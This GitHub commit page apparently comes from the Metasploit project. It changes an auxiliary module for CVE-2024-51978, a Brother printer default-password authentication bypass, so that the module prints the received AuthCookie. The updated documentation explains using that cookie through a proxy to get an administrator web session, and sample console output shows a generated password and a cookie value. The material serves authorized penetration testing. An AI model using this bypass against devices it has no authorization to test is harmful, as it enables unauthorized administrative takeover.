Skip to content

Commit 34952d7

Browse files
committed
display the AuthCookie if one is received
1 parent a7e4b56 commit 34952d7

File tree

2 files changed

+8
-0
lines changed

2 files changed

+8
-0
lines changed

documentation/modules/auxiliary/admin/misc/brother_default_admin_auth_bypass_cve_2024_51978.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,11 @@ administrator password. The target device may leak its serial number via unauthe
55
SNMP, or PJL requests.
66

77
## Testing
8+
Run the module against a vulnerable device (full list [here](https://www.cve.org/CVERecord?id=CVE-2024-51978)).
9+
If the default password is correctly generated, the module will be able to verify this.
10+
11+
The module will also report an HTTP cookie `AuthCookie` which can be used, for example via Burp's proxy feature, to
12+
get access to an administrator session on the target devices web interface.
813

914
## Verification Steps
1015

@@ -83,6 +88,7 @@ msf6 auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > ru
8388
[*] Generating default password with salt lookup index 254 and salt data 7HOLDhk'
8489
[*] Generated password value: r/5LM&U>
8590
[*] Attempting to validate password
91+
[*] Received an AuthCookie value: bi56MaYmMOhcwuH8miqCW5YvSGqKRqr8EOgiAr0yA20%3D
8692
[+] Successfully validated the administrator password: r/5LM&U>
8793
[*] Auxiliary module execution completed
8894
msf6 auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) >

modules/auxiliary/admin/misc/brother_default_admin_auth_bypass_cve_2024_51978.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -383,6 +383,8 @@ def validate_password(password)
383383
return Metasploit::Model::Login::Status::DENIED_ACCESS
384384
end
385385

386+
print_status("Received an AuthCookie value: #{auth_cookie[1]}")
387+
386388
print_good("Successfully validated the administrator password: #{password}")
387389

388390
Metasploit::Model::Login::Status::SUCCESSFUL

0 commit comments

Comments
 (0)